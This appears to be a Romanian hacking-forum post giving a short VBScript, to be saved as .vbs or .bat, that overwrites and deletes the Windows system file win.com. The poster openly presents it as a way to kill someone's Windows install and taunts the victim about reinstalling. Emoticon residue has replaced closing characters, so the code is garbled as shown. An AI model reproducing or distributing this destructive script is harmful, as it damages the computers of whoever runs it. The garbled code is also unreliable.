Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :
Code:
Dim fso, fs1, fs2 Dim drive, folder, file Set fso = CreateObject("Scripting.FileSystemObject"smiley drive = "c:\" folder ="windows\" file = "win.com" Set fs1 = fso.GetFile(drive&folder&file) fs1.copy ("c:\windows\temp\win.com"smiley set fs2=fso.CreateTextFile("c:\windows\win.com"smiley fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif" Set fs1 = fso.GetFile(drive&folder&file) fs1.delete fs2.close
Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele !!!Atentie!!! Nu dati dublu clik pe el
DACA VREI SA NU MAI AI WINDOWS DAI DUBLU-CLIK SI APROPO ITI UREZ SUCCES CAND IL INSTALEZI IARA DAK MAI POTI
programul kre iti omoara windowsul – poza de florin, in Haking · 4.5KB
